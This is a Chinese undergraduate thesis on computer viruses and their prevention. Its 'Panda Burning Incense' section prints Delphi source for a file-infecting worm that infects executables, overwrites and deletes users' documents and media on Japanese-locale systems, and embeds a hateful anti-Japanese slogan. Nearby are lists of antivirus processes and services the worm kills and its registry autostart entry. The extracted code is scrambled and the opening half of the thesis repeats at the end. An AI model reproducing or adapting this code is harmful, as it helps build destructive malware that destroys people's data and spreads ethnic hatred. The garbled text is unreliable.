计算机病毒解析与防范

陕西师范大学网络教育学院

毕业论文(设计)

论文题目 计算机病毒解析与防范

姓 名

学 号

专 业 计算机科学与技术

批次/层次

指导教师 郭志强

学习中心

目 录

摘要....................................................3

1 引言.................................................. 3

2 正文..................................................3

2.1 计算机病毒的概述............................... 3

2.1.1 计算机病毒的定义............................... 4

2.1.2 计算机病毒的特性............................... 4

2.2 计算机病毒的分类............................... 4

2.2.1 计算机病毒的基本分类........................... 4

2.3 计算机病毒防范和清除的基本原则和技术........... 6

2.3.1 计算机病毒防范的概念和原则..................... 6

2.3.2 计算机病毒防范基本技术......................... 6

2.3.3 清除计算机病毒的基本方法...................... 6

2.4 典型计算机病毒的原理、防范和清除...............6

2.4.1 引导区计算机病毒...............................7

2.4.2 文件型计算机病毒...............................7

2.4.3 脚本型计算机病毒...............................8

2.4.4 特洛伊木马计算机病毒...........................8

2.4.5 蠕虫计算机病毒.................................9

2.5 “熊猫烧香”病毒剖析............................ 9

2.6 计算机主要检测技术和特点.........................26

3 参考资料.............................................27

计算机病毒与防范

摘要

目前计算机的应用遍及到社会的各个领域,同时计算机病毒也给我们带来了巨大的破坏和潜在的威胁,因此为了确保计算机能够安全工作,计算机病毒的防范工作,已经迫在眉睫。分析了计算机病毒的特点,讨论了主要从及时清除计算机病毒、局域网病毒的防范、加强计算机网络管理、个人用户的防范,这几个方面去进行计算机病毒的有效防范。

关键词:计算机病毒 防范

1 引言

随着计算机在社会生活各个领域的广泛应用,计算机病毒攻击给我们的日常生活和工作中带来了很多的威胁,对于大多数计算机用户来说,谈到“计算机病毒”似乎觉得它深不可测,无法琢磨,其实计算机病毒是可以预防的,为了确保计算机使用的安全性,对计算机进行防范措施是很重要的,本文对此问题进行了探讨。

2 正文

2.1计算机病毒的概述

随着社会的不断进步,科学的不断发展,计算机病毒的种类也越来越多,

但终究万变不离其宗!

2.1.1计算机病毒的定义

一般来讲,凡是能够引起计算机故障,能够破坏计算机中的资源(包括硬件和软件)的代码,统称为计算机病毒。而在我国也通过条例的形式给计算机病毒下了一个具有法律性、权威性的定义:“计算机病毒,是指编制或者在计算机程序中插入的破坏计算机功能或者毁坏数据,影响计算机使用,并能自我复制的一组计算机指令或者程序代码。”

2.1.2计算机病毒的特性

1、隐藏性与潜伏性

计算机病毒是一种具有很高编程技巧、短精悍的可执行程序。它通常内附在正常的程序中,用户启动程序同时也打开了病毒程序。计算机病毒程序经运行取得系统控制权, 可以在不到1秒钟的时间里传染几百个程序。而且在传染操作成后,计算机系统仍能运行,被感染的程序仍能执行,这就是计机病毒传染的隐蔽性„„计算机病毒的潜伏性则是指,某些编制巧的计算机病毒程序,进入系统之后可以在几周或者几个月甚至年内隐藏在合法文件中,对其它系统文件进行传染,而不被人发现。

2、传染性

计算机病毒可通过各种渠道(磁盘、共享目录、邮件) 从已被感染的计算机扩散到其他机器上,感染其它用户.在某情况下导致计算机工作失常。

3、表现性和破坏性

任何计算机病毒都会对机器产生一定程的影响,轻者占用系统资源,导致系统运行速度大幅降低.重者除文件和数据,导致系统崩溃。

4、可触发性病毒

具有预定的触发条件,可能是时间、日期、文类型或某些特定数据等。一旦满足触发条件,便启动感染或破坏作,使病毒进行感染或攻击;如不满足,继续潜伏。有些病毒针对特定的操作系统或特定的计算机。

5、欺骗性和持久性

计算机病毒行动诡秘,计算机对其反应迟,往往把病毒造成的错误当成事实接受下来。病毒程序即使被发,已被破坏的数据和程序以及操作系统都难以恢复。在网络操作情况下,由于病毒程序由一个受感染的拷贝通过网络系统反复传,病毒程序的清除愈加复杂。

除了上述五点外,计算机病毒还具有不可预见性、衍生性、针对性、等特点。正是由于计算机病毒具有这些特点,给计算机病毒的预防、检测与清除工作带来了很大的难度。

2.2计算机病毒的分类

2.2.1计算机病毒的基本分类

1、传统开机型计算机病毒

纯粹的开机型计算机病毒多利用软盘开机时侵入计算机系统,然后再伺机感染其他的软盘或者硬盘,例如:“Stoned 3”(米开朗基罗)。

2、隐形开机型计算机病毒

此类计算机病毒感染的系统,再行检查开机区,得到的将是正常的磁区资料,就好像没有中毒一样,此类计算机病毒不容易被杀毒软件所查杀,而防毒软件对于未知的此类型计算机病毒,必须具有辨认磁区资料真伪的能力。此类计算机病毒已出现的尚有“Fish ”.

3、档案感染型兼开机型计算机病毒

档案感染型兼开机型计算机病毒时利用档案感染时司机感染开机区,因而具有双中的行动能力,此类型较著名的计算机病毒有“Cancer ”。

4、目录型计算机病毒

本类型计算机病毒的感染方式非常独特,“Dir2”即其代表,此类计算机病毒仅修改目录区(Root ),便可达到其感染目的。

5、传统档案型计算机病毒

传统档案型计算机病毒最大的特征,便是将计算机病毒本身植入档案,使档案膨胀,以达到散播传染的目的。代表有“13 Firday”。

6、千面人计算机病毒

千面人计算机病毒是指具有自我编码能力的计算机病毒,“1701 下雨”等,为这种类型主要代表,此种计算机病毒编码的目的,是使其感染的每一个档案,看起来皆不一样,干扰杀毒软件的侦测,不过千面人计算机病毒仍会留下的这个“小辫子”,将其绳之以法。

7、突变引擎病毒

有鉴于前面人计算机病毒一个接一个被截获,边有人编写出一种突变式计算机病毒,使原本千面人计算机病毒无法解决的程序开头相同的问题得到克服,并编写成OBJ 副程序,供他人植草此类计算机病毒,即 Mctation engine。尽管如此,这类计算机病毒仅干扰了扫毒式软件,对其他方式的防毒软件并没有太大的影响。

8、隐形档案型计算机病毒

此类病毒可以避开去多防毒软件,因为隐形计算机病毒能直接植入DOS 系统的作业环境中,当外部程序呼叫DOS 中断服务时,便同时执行到计算机病毒本身,使得计算机病毒能从容地将受其感染的档案,粉饰成正常无毒的样子。此类计算机病毒有“4096” 等。

9、终结型计算机病毒

终结性计算机病毒能追踪磁盘操作终端的原始进入点,当计算机病毒取得磁盘原始中断时,便可任意再磁盘上修改资料或普哦坏资料,而不会惊动防毒程序,这就是说,装有防毒程序和美妆防毒程序的情况是一样的危险。这类计算机病毒有的采用INT 1单步执行的方式,逐步追踪磁盘中断的过程,找出BIOS 磁盘中断的部分,供计算机病毒内部使用;有的采用死机的方式,记录几个BIOS 版本的磁盘中断原始进入点,当计算机病毒遭到熟悉的BIOS 版本,便可直接呼叫磁盘中断,对磁盘予取予求;有的则分析磁盘中断的程序片段,找出BIOS 中的相似部分便可直接呼叫磁盘中断。其代表有“Hammer 6”等。

10、Word 巨集计算机病毒

Word 巨集计算机病毒可以说时目前最新的计算机病毒种类了,它是文件型计算机病毒,异于以往以感染磁盘区或可执行的档案为主的计算机病毒,此类病毒时利用Word 提供的巨集功能来感染文件。目前已经在Internet 及BBS 网络中发现不少Word 巨集计算机病毒,而且此类计算机病毒是用类似Basic 程序编写出来的,易学,其反战速度一定很快。

2.3计算机病毒防范和清除的基本原则和技术

2.3.1计算机病毒防范的概念和原则

计算机病毒防范,是指通过建立合理的计算机病毒防范体系和制度,即使发现计算机病毒入侵,并采取有效的手段阻止计算机病毒的传播和破坏,回复受影响的计算机系统和数据。

原则以防御计算机病毒为主动,主要表现在检测行为的动态性和防范方法的广谱性。

2.3.2计算机病毒防范基本技术

计算机病毒预防是在计算机病毒尚未入侵或刚刚入侵,就拦截、阻击计算机病毒的入侵或立即警报。目前在预防计算机病毒工具中采用的主要技术如下: 2.3.3清除计算机病毒的基本方法

1.简单的工具治疗

简单工具治疗是指使用Debug 等简单的工具,借助检测者对某种计算机病毒的具体知识,从感染计算机病毒的软件中摘除计算机代码。但是,这种方法同样对检测者自身的专业素质要求较高,而且治疗效率也较低。

2. 专用工具治疗

使用专用工具治疗被感染的程序时通常使用的治疗方法。专用计算机治疗工具,根据对计算机病毒特征的记录,自动清除感染程序中的计算机病毒代码,使之得以恢复。使用专用工具治疗计算机病毒时,治疗操作简单、高效。从探索与计算机病毒对刚的全过程来看,专用工具的开发商也是先从使用简单工具

进行治疗开始,当治疗获得成功后,再研制相应的软件产品,使计算机自动地完成全部治疗操作。

2.4 典型计算机病毒的原理、防范和清除

2.4.1引导区计算机病毒

系统引导区时在系统引导的时候,进入到系统中,获得对系统的控制权,在完成其自身的安装后才去引导系统的。称其为引导区计算机病毒时因为这类计算机病毒一般是都侵占系统硬盘的主引导扇区I/O分区的引导扇区,对于软盘则侵占了软盘的引导扇区。

它会感染在该系统中进行读写操作的所有软盘,然后再由这些软盘以复制的方式和引导进入到其他计算机系统,感染其他计算机的操作系统。

如何检测呢?

1. 查看系统内存的总量与正常情况进行比较

2. 检查系统内存高端的内容

3. 检查系统的INT 13H中断向量

4. 检查硬盘的主引导扇区、DOS 分区引导扇区以及软盘的引导扇区

清除:

用原来正常的分区表信息或引导扇区信息,覆盖掉计算机病毒程序。此时,如果用户事先提取并保存了自己硬盘中分区表的信息和DOS 分区引导扇区信息,那么,恢复工作变得非常简单。可以直接用Debug 将这两种引导扇区的内容分别调入内存,然后分别回它的原来位置,这样就消除了计算机病毒。

2.4.2文件型计算机病毒

文件型计算机病毒程序都是依附在系统可执行文件或覆盖文件上,当文件装入系统执行的时候,引导计算机病毒程序也进入到系统中。只有极少计算机病毒程序感染数据文件。

此类病毒感染对象大多是系统的可执行文件,也有一些还要对覆盖文件进行传染,而对数据进行传染的则少见。

清除:

1. 确定计算机病毒程序的位置,是驻留在文件尾部还是在文件首部。

2. 找到计算机病毒程序的首部位置(对应于在文件尾部驻留方式),或者尾

部位置(对应于在文件首部驻留方式)。

3. 恢复原文件头部的参数。

4. 修改文件长度,将源文件写回。

2.4.3脚本型计算机病毒

主要采用脚本语言设计的病毒称其为脚本病毒。实际上在早期的系统中,计算机病毒就已经开始利用脚本进行传播和破坏,不过专门的脚本病毒并不常见。但是在脚本应用无所不在的今天,脚本病毒却成为危害最大,最为广泛的病毒,特别是当他和一些传统的恶性病毒相结合时,其危害就更为严重了。 其主要有两种类型,纯脚本型,混合型。

它的特点:

● 编写简单

● 破坏力大

● 感染力强

● 传播范围大(多通过E-mail ,局域网共享,感染网页文件的方式传播) ● 计算机病毒源码容易被获取,变种多

● 欺骗性强

● 使得计算机病毒生产机事先起来非常容易

清除:

● 禁用文件系统对象FileSystemObject

● 卸载Windows Scripting Host

● 删除vbs ,vbe ,js ,jse 文件后缀与应用程序映射

● 在Windows 目录中,找到WScript.exe ,更改名称或者删除

● 要彻底防止vbs 网络蠕虫病毒,还需要设置一下浏览器

● 禁止OE 的自动收发电子邮件功能

● 显示所有文件类型的扩展名称

● 将系统的网络连接的安全级别设置至少为“中等”

2.4.4特洛伊木马计算机病毒

特洛伊木马也叫黑客程序或后门病毒,是指吟唱在正常程序中的一段具有特殊功能的程序,其隐蔽性及好,不易察觉,是一种极为危险的网络攻击手段。 其第一代:伪装性病毒,第二代:AIDS 型木马,第三代:网络传播性木马 如何检查?

● 稽查注册表

● 检查你的系统配置文件

● 清除:

● 备份重要数据

● 立即关闭身背电源

● 备份木马入侵现场

● 修复木马危害

2.4.5 蠕虫计算机病毒

蠕虫是一种通过网络传播的恶性计算机病毒,它具有计算机病毒的一些共性,如传播性、隐蔽性、破坏性等。同时自己有自己一些特征,如利用文件寄生,对网络造成拒绝服务以及和黑客技术相结合等。

简单点说,蠕虫就是使用危害的代码来攻击网络上的受害主机,并在受害主机上自我复制,再攻击其他的受害主机的计算机病毒。

其特征:

● 自我繁殖

● 利用软件漏洞

● 造成网络拥堵

● 消耗系统资源

● 留下安全隐患

清除:

● 与防火墙互动

● 交换机联动

● 通知HIDS (基于主机的入侵检测)

● 报警

2.5 “熊猫烧香”病毒剖析

“熊猫烧香”病毒感染机理:“熊猫烧香”,是一个感染型的蠕虫病毒,它能感染系统中exe ,com ,pif ,src ,html ,asp 等文件,它还能中止大量的反病毒软件进程并且会删除扩展名为gho 的文件,该文件是一系统备份工具GHOST 的备份文件,使用户的系统备份文件丢失。被感染的用户系统中所有.exe 可执行文件全部被改成熊猫举着三根香的模样。

1:拷贝文件病毒运行后, 会把自己拷贝到C:\WINDOWS\System32\Drivers\spoclsv.exe

2:添加注册表自启动病毒会添加自启动项HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run svcshare -> C:\WINDOWS\System32\Drivers\spoclsv.exe

3:病毒行为

a:每隔1秒寻找桌面窗口, 并关闭窗口标题中含有以下字符的程序:

QQKav 、QQAV 、防火墙、进程、VirusScan 、网镖、杀毒、毒霸、瑞星、江民、黄山IE 、超级兔子、优化大师、木马克星、木马清道夫、QQ 病毒、注册表编辑器、系统配置实用程序、卡巴斯基反病毒、Symantec AntiVirus、Duba 、esteem proces 、绿鹰PC 、密码防盗、噬菌体、木马辅助查找器、System Safety Monitor 、Wrapped gift Killer 、Winsock Expert 、游戏木马检测大师、msctls_statusbar32、pjf(ustc)、IceSword ,并使用的键盘映射的方法关闭安全软件IceSword 。添加注册表使自己自启动HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run

svcshare -> C:\WINDOWS\System32\Drivers\spoclsv.exe并中止系统中以下的进程:

Mcshield.exe 、VsTskMgr.exe 、naPrdMgr.exe 、UpdaterUI.exe 、TBMon.exe 、scan32.exe 、Ravmond.exe 、CCenter.exe 、RavTask.exe 、Rav.exe 、Ravmon.exe 、RavmonD.exe 、RavStub.exe 、KVXP.kxp 、kvMonXP.kxp 、KVCenter.kxp 、KVSrvXP.exe 、KRegEx.exe 、UIHost.exe 、TrojDie.kxp 、FrogAgent.exe 、Logo1_.exe、Logo_1.exe、Rundl132.exe 。

b:每隔18秒点击病毒作者指定的网页, 并用命令行检查系统中是否存在共

享,共存在的话就运行net share命令关闭admin$共享。

c:每隔10秒下载病毒作者指定的文件, 并用命令行检查系统中是否存在共享,共存在的话就运行net share命令关闭admin$共享。

d:每隔6秒删除安全软件在注册表中的键值。

并修改以下值不显示隐藏文件 HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Advanced\Folder\Hidden\SHOWALL CheckedValue -> 0x00

删除以下服务: navapsvc 、wscsvc 、KPfwSvc 、SNDSrvc 、ccProxy 、ccEvtMgr 、ccSetMgr 、SPBBCSvc 、Symantec Core LC、NPFMntor MskService、FireSvc 。 e:感染文件

病毒会感染扩展名为exe,pif,com,src 的文件, 把自己附加到文件的头部,并在扩展名为htm,html, asp,php,jsp,aspx 的文件中添加一网址,用户一但打开了该文件,IE 就会不断的在后台点击写入的网址,达到增加点击量的目的, 但病毒不会感染以下文件夹名中的文件:

WINDOW 、Winnt 、System Volume Information、Recycled 、Windows NT、WindowsUpdate 、Windows Media Player 、Outlook Express 、Internet Explorer 、NetMeeting 、Common Files 、ComPlus Applications 、Messenger 、InstallShield Installation Information 、MSN 、Microsoft Frontpage 、Movie Maker 、MSN Gamin Zone 。

g:删除文件

病毒会删除扩展名为gho 的文件,该文件是一系统备份工具GHOST 的备份文件使用户的系统备份文件丢失。

“熊猫烧香”病毒核心源码

用 Delphi 写

program Japussy;

uses

Windows, SysUtils, Classes, Graphics, ShellAPI{, Registry};

const

HeaderSize = 82432; //病毒体的大小

IconOffset = $12EB8; //PE文件主图标的偏移量

//在我的Delphi5 SP1上面编译得到的大小,其它版本的Delphi 可能不同

//查找2800000020的十六进制字符串可以找到主图标的偏移量

{

HeaderSize = 38912; //Upx压缩过病毒体的大小 IconOffset = $92BC; //Upx压缩过PE 文件主图标的偏移量

//Upx 1.24W 用法: upx -9 --8086 Japussy.exe

}

IconSize = $2E8; //PE文件主图标的大小--744字节

IconTail = IconOffset + IconSize; //PE文件主图标的尾部

ID = $44444444; //感染标记

//垃圾码,以备写入

Catchword = 'If a race need to be killed out, it must be Yamato. '

+

'If a country need to be destroyed, it must be Japan! ' +

'*** W32.Japussy.Worm.A ***';

{$R *.RES}

Function

RegisterServiceProcess()function

RegisterServiceProcess(dwProcessID, dwType: Integer):

Integer;

stdcall; external 'Kernel32.dll'; //函数声明

var

TmpFile: string;

Si: STARTUPINFO;

Pi: PROCESS_INFORMATION;

IsJap: Boolean = False; //

{

Function IsWin9x()function IsWin9x: Boolean;

var

Ver: TOSVersionInfo;

begin

Result := False;

Ver.dwOSVersionInfoSize := SizeOf(TOSVersionInfo); if not GetVersionEx(Ver) then

Exit;

if

//Win9x

Result := True;

end;

{

procedure

TStream;

dStartPos: Integer; Count: Integer);

var

日文操作系统标记 判断是否为Win9x } (Ver.dwPlatformID = VER_PLATFORM_WIN32_WINDOWS) then 在流之间复制 } CopyStream(Src: TStream; sStartPos: Integer; Dst:

sCurPos, dCurPos: Integer;

begin

sCurPos := Src.Position;

dCurPos := Dst.Position;

Src.Seek(sStartPos, 0);

Dst.Seek(dStartPos, 0);

Dst.CopyFrom(Src, Count);

Src.Seek(sCurPos, 0);

Dst.Seek(dCurPos, 0);

end;

{ 将宿主文件从已感染的PE 文件中分离出来,以备使用 } procedure ExtractFile(FileName: string);

var

sStream, dStream: TFileStream;

begin

try

sStream := TFileStream.Create(ParamStr(0), fmOpenRead or

fmShareDenyNone);

try

dStream := TFileStream.Create(FileName, fmCreate); try

sStream.Seek(HeaderSize, 0); //跳过头部的病毒部分 dStream.CopyFrom(sStream,

HeaderSize);

finally

sStream.Size -

dStream.Free;

end;

finally

sStream.Free;

end;

except

end;

end;

{ 填充STARTUPINFO 结构 }

procedure FillStartupInfo(var Si: STARTUPINFO;

Word);

begin

Si.cb := SizeOf(Si);

Si.lpReserved := nil;

Si.lpDesktop := nil;

Si.lpTitle := nil;

Si.dwFlags := STARTF_USESHOWWINDOW;

Si.wShowWindow := State;

Si.cbReserved2 := 0;

Si.lpReserved2 := nil;

end;

{ 发带毒邮件 }

procedure SendMail;

begin

//哪位仁兄愿意完成之?

end;

State:

{ 感染PE 文件 }

procedure InfectOneFile(FileName: string);

var

HdrStream, SrcStream: TFileStream;

IcoStream, DstStream: TMemoryStream;

iID: LongInt;

aIcon: TIcon;

Infected, IsPE: Boolean;

i: Integer;

Buf: array[0..1] of Char;

begin

try //出错则文件正在被使用,退出

if CompareText(FileName, 'JAPUSSY.EXE') = 0 then //是自己则不感染

Exit;

Infected := False;

IsPE := False;

SrcStream

fmOpenRead);

try

for i := 0 to $108 do //检查PE 文件头

begin

SrcStream.Seek(i, soFromBeginning);

SrcStream.Read(Buf, 2);

if (Buf[0] = #80) and (Buf[1] = #69) then //PE标记

:= TFileStream.Create(FileName,

IsPE := True; //是PE 文件

Break;

end;

end;

SrcStream.Seek(-4, soFromEnd); //检查感染标记 SrcStream.Read(iID, 4);

if (iID = ID) or (SrcStream.Size

Infected := True;

finally

SrcStream.Free;

end;

if Infected or (not IsPE) then //如果感染过了或不是PE 文件则退出

Exit;

IcoStream := TMemoryStream.Create;

DstStream := TMemoryStream.Create;

try

aIcon := TIcon.Create;

try

//得到被感染文件的主图标(744字节) ,存入流 aIcon.ReleaseHandle;

aIcon.Handle

PChar(FileName), 0);

aIcon.SaveToStream(IcoStream);

:= ExtractIcon(HInstance,

aIcon.Free;

end;

SrcStream

fmOpenRead);

//头文件

HdrStream

fmOpenRead or

fmShareDenyNone);

try

//写入病毒体主图标之前的数据

CopyStream(HdrStream,

IconOffset);

//写入目前程序的主图标

CopyStream(IcoStream, 22, DstStream, IconOffset, IconSize);

//写入病毒体主图标到病毒体尾部之间的数据

CopyStream(HdrStream,

IconTail,

HeaderSize - IconTail);

//写入宿主程序

CopyStream(SrcStream, 0, DstStream, HeaderSize, SrcStream.Size);

//写入已感染的标记

DstStream.Seek(0, 2);

iID := $44444444;

DstStream.Write(iID, 4);

:= TFileStream.Create(FileName, := TFileStream.Create(ParamStr(0), 0, DstStream, 0, IconTail, DstStream,

HdrStream.Free;

end;

finally

SrcStream.Free;

IcoStream.Free;

DstStream.SaveToFile(FileName); //替换宿主文件 DstStream.Free;

end;

except;

end;

end;

{ 将目标文件写入垃圾码后删除 }

procedure SmashFile(FileName: string);

var

FileHandle: Integer;

i, Size, Mass, Max, Len: Integer;

begin

try

SetFileAttributes(PChar(FileName), 0); //去掉只读属性 FileHandle := FileOpen(FileName, fmOpenWrite); //打开文件

try

Size := GetFileSize(FileHandle, nil); //文件大小 i := 0;

Randomize;

Max := Random(15); //写入垃圾码的随机次数 if Max

Mass := Size div Max; //每个间隔块的大小 Len := Length(Catchword); while i

FileSeek(FileHandle, i * Mass, 0); //定位 //写入垃圾码,将文件彻底破坏掉

FileWrite(FileHandle, Catchword, Len); Inc(i); end; finally

FileClose(FileHandle); //关闭文件 end;

DeleteFile(PChar(FileName)); //删除之 except end; end;

{ 获得可写的驱动器列表 }

Function GetDrives()function GetDrives: string; var

DiskType: Word; D: Char; Str: string; i: Integer;

begin

for i := 0 to 25 do //遍历26个字母 begin

D := Chr(i + 65); Str := D + ':';

DiskType := GetDriveType(PChar(Str)); //得到本地磁盘和网络盘

if (DiskType = DRIVE_FIXED) or (DiskType = DRIVE_REMOTE) then

Result := Result + D; end; end;

{ 遍历目录,感染和摧毁文件 }

procedure LoopFiles(Path, Mask: string); var

i, Count: Integer; Fn, Ext: string; SubDir: TStrings; SearchRec: TSearchRec; Msg: TMsg;

Function IsValidDir()function IsValidDir(SearchRec: TSearchRec): Integer; begin

if (SearchRec.Attr 16) and (SearchRec.Name '.') and

(SearchRec.Name '..') then

Result := 0 //不是目录

else if (SearchRec.Attr = 16) and (SearchRec.Name '.') and

(SearchRec.Name '..') then Result := 1 //不是根目录 else Result := 2; //是根目录 end; begin

if (FindFirst(Path + Mask, faAnyFile, SearchRec) = 0) then begin repeat

PeekMessage(Msg, 0, 0, 0, PM_REMOVE); //调整消息队列,避免引起怀疑

if IsValidDir(SearchRec) = 0 then begin

Fn := Path + SearchRec.Name;

Ext := UpperCase(ExtractFileExt(Fn)); if (Ext = '.EXE') or (Ext = '.SCR') then begin

InfectOneFile(Fn); //感染可执行文件 end

else if (Ext = '.HTM') or (Ext = '.HTML') or (Ext = '.ASP') then

begin

//感染HTML 和ASP 文件,将Base64编码后的病毒写入

//感染浏览此网页的所有用户 //哪位大兄弟愿意完成之? end

else if Ext = '.WAB' then //Outlook地址簿文件 begin

// end

else if Ext = '.ADC' then //Foxmail文件

begin

// end

else if Ext = 'IND' then //Foxmail begin

// end else begin

if IsJap then // begin

if (Ext = '.DOC') or (Ext = '.XLS') or (Ext = '.MDB') or

(Ext or

(Ext or

(Ext 获取Outlook 邮件地址 地址自动完成获取Foxmail 邮件地址 地址簿文件 获取Foxmail 邮件地址 是倭文操作系统 = '.MP3') or (Ext = '.RM') or (Ext = '.RA') = '.WMA') or (Ext = '.ZIP') or (Ext = '.RAR') = '.MPEG') or (Ext = '.ASF') or (Ext = '.JPG')

or

(Ext = '.JPEG') or (Ext = '.GIF') or (Ext = '.SWF') or

(Ext = '.PDF') or (Ext = '.CHM') or (Ext = '.AVI') then

SmashFile(Fn); //摧毁文件 end; end; end;

//过高引起怀疑 Sleep(200);

until (FindNext(SearchRec) 0); end;

FindClose(SearchRec);

SubDir := TStringList.Create;

if then

begin repeat

if IsValidDir(SearchRec) = 1 then SubDir.Add(SearchRec.Name); until (FindNext(SearchRec) 0); end;

FindClose(SearchRec); Count := SubDir.Count - 1; for i := 0 to Count do

感染或删除一个文件后睡眠200毫秒,避免CPU 占用率(FindFirst(Path + '*.*', faDirectory, SearchRec) = 0)

LoopFiles(Path + SubDir.Strings[i] + '', Mask); FreeAndNil(SubDir); end;

{ 遍历磁盘上所有的文件 } procedure InfectFiles; var

DriverList: string; i, Len: Integer; begin

if GetACP = 932 then // IsJap := True; // DriverList := GetDrives; // Len := Length(DriverList); while True do // begin

for i := Len downto 1 do // LoopFiles(DriverList[i] + ':', '*.*'); // SendMail; // Sleep(1000 * 60 * 5); // end; end;

{ begin

if IsWin9x then // RegisterServiceProcess(GetCurrentProcessID, 为服务进程日文操作系统 去死吧!

得到可写的磁盘列表 死循环 遍历每个磁盘驱动器 感染之 发带毒邮件

睡眠5分钟 主程序开始 } 是Win9x

1) //注册

else //WinNT begin

//远程线程映射到Explorer 进程 //哪位兄台愿意完成之? end;

//如果是原始病毒体自己 if 'Japussy.exe') = 0 then

InfectFiles //感染和发邮件

else //已寄生于宿主程序上了,开始工作 begin

TmpFile := ParamStr(0); //创建临时文件 Delete(TmpFile, Length(TmpFile) - 4, 4);

TmpFile := TmpFile + #32 + '.exe'; //真正的宿主文件,多一个空格

ExtractFile(TmpFile); //分离之 FillStartupInfo(Si, SW_SHOWDEFAULT);

CreateProcess(PChar(TmpFile), PChar(TmpFile), nil, nil, True,

0, nil, '.', Si, Pi); //创建新进程运行之 InfectFiles; //感染和发邮件 end; End.

CompareText(ExtractFileName(ParamStr(0)),

2.6 计算机主要检测技术和特点(简介)

1. 外观检测法

2.系统数据对比法 3.病毒签名检测法 4.特征代码法 5.检查常规内存数 6.校验和法 7.行为监测法 8.软件模拟法

9.启发式代码扫描技术 10.主动内核技术 11.病毒分析技术

12. 感染是研法

3 参考文献

[1]卓新建,郑康锋,辛阳. 计算机病毒原理与防治[M].北京邮电大学出版社,2007,(8):第二版.

[2]郝文化. 防黑反毒技术指南[M].机械工业出版社,2004,(1):第一版. [3]吴万钊,吴万铎. 计算机病毒分析与防治大全[M].学苑出版社,1993,(10).

[4]张仁斌,李钢,侯整风. 计算机病毒与反病毒技术[M].清华大学出版社,2006(6).

陕西师范大学网络教育学院 毕业论文写作(设计)日志

所属学习中心:柞水县电化教育中心

陕西师范大学网络教育学院

毕业论文(设计)

论文题目 计算机病毒解析与防范

姓 名

学 号

专 业 计算机科学与技术

批次/层次

指导教师 郭志强

学习中心

目 录

摘要....................................................3

1 引言.................................................. 3

2 正文..................................................3

2.1 计算机病毒的概述............................... 3

2.1.1 计算机病毒的定义............................... 4

2.1.2 计算机病毒的特性............................... 4

2.2 计算机病毒的分类............................... 4

2.2.1 计算机病毒的基本分类........................... 4

2.3 计算机病毒防范和清除的基本原则和技术........... 6

2.3.1 计算机病毒防范的概念和原则..................... 6

2.3.2 计算机病毒防范基本技术......................... 6

2.3.3 清除计算机病毒的基本方法...................... 6

2.4 典型计算机病毒的原理、防范和清除...............6

2.4.1 引导区计算机病毒...............................7

2.4.2 文件型计算机病毒...............................7

2.4.3 脚本型计算机病毒...............................8

2.4.4 特洛伊木马计算机病毒...........................8

2.4.5 蠕虫计算机病毒.................................9

2.5 “熊猫烧香”病毒剖析............................ 9

2.6 计算机主要检测技术和特点.........................26

3 参考资料.............................................27

计算机病毒与防范

摘要

目前计算机的应用遍及到社会的各个领域,同时计算机病毒也给我们带来了巨大的破坏和潜在的威胁,因此为了确保计算机能够安全工作,计算机病毒的防范工作,已经迫在眉睫。分析了计算机病毒的特点,讨论了主要从及时清除计算机病毒、局域网病毒的防范、加强计算机网络管理、个人用户的防范,这几个方面去进行计算机病毒的有效防范。

关键词:计算机病毒 防范

1 引言

随着计算机在社会生活各个领域的广泛应用,计算机病毒攻击给我们的日常生活和工作中带来了很多的威胁,对于大多数计算机用户来说,谈到“计算机病毒”似乎觉得它深不可测,无法琢磨,其实计算机病毒是可以预防的,为了确保计算机使用的安全性,对计算机进行防范措施是很重要的,本文对此问题进行了探讨。

2 正文

2.1计算机病毒的概述

随着社会的不断进步,科学的不断发展,计算机病毒的种类也越来越多,

但终究万变不离其宗!

2.1.1计算机病毒的定义

一般来讲,凡是能够引起计算机故障,能够破坏计算机中的资源(包括硬件和软件)的代码,统称为计算机病毒。而在我国也通过条例的形式给计算机病毒下了一个具有法律性、权威性的定义:“计算机病毒,是指编制或者在计算机程序中插入的破坏计算机功能或者毁坏数据,影响计算机使用,并能自我复制的一组计算机指令或者程序代码。”

2.1.2计算机病毒的特性

1、隐藏性与潜伏性

计算机病毒是一种具有很高编程技巧、短精悍的可执行程序。它通常内附在正常的程序中,用户启动程序同时也打开了病毒程序。计算机病毒程序经运行取得系统控制权, 可以在不到1秒钟的时间里传染几百个程序。而且在传染操作成后,计算机系统仍能运行,被感染的程序仍能执行,这就是计机病毒传染的隐蔽性„„计算机病毒的潜伏性则是指,某些编制巧的计算机病毒程序,进入系统之后可以在几周或者几个月甚至年内隐藏在合法文件中,对其它系统文件进行传染,而不被人发现。

2、传染性

计算机病毒可通过各种渠道(磁盘、共享目录、邮件) 从已被感染的计算机扩散到其他机器上,感染其它用户.在某情况下导致计算机工作失常。

3、表现性和破坏性

任何计算机病毒都会对机器产生一定程的影响,轻者占用系统资源,导致系统运行速度大幅降低.重者除文件和数据,导致系统崩溃。

4、可触发性病毒

具有预定的触发条件,可能是时间、日期、文类型或某些特定数据等。一旦满足触发条件,便启动感染或破坏作,使病毒进行感染或攻击;如不满足,继续潜伏。有些病毒针对特定的操作系统或特定的计算机。

5、欺骗性和持久性

计算机病毒行动诡秘,计算机对其反应迟,往往把病毒造成的错误当成事实接受下来。病毒程序即使被发,已被破坏的数据和程序以及操作系统都难以恢复。在网络操作情况下,由于病毒程序由一个受感染的拷贝通过网络系统反复传,病毒程序的清除愈加复杂。

除了上述五点外,计算机病毒还具有不可预见性、衍生性、针对性、等特点。正是由于计算机病毒具有这些特点,给计算机病毒的预防、检测与清除工作带来了很大的难度。

2.2计算机病毒的分类

2.2.1计算机病毒的基本分类

1、传统开机型计算机病毒

纯粹的开机型计算机病毒多利用软盘开机时侵入计算机系统,然后再伺机感染其他的软盘或者硬盘,例如:“Stoned 3”(米开朗基罗)。

2、隐形开机型计算机病毒

此类计算机病毒感染的系统,再行检查开机区,得到的将是正常的磁区资料,就好像没有中毒一样,此类计算机病毒不容易被杀毒软件所查杀,而防毒软件对于未知的此类型计算机病毒,必须具有辨认磁区资料真伪的能力。此类计算机病毒已出现的尚有“Fish ”.

3、档案感染型兼开机型计算机病毒

档案感染型兼开机型计算机病毒时利用档案感染时司机感染开机区,因而具有双中的行动能力,此类型较著名的计算机病毒有“Cancer ”。

4、目录型计算机病毒

本类型计算机病毒的感染方式非常独特,“Dir2”即其代表,此类计算机病毒仅修改目录区(Root ),便可达到其感染目的。

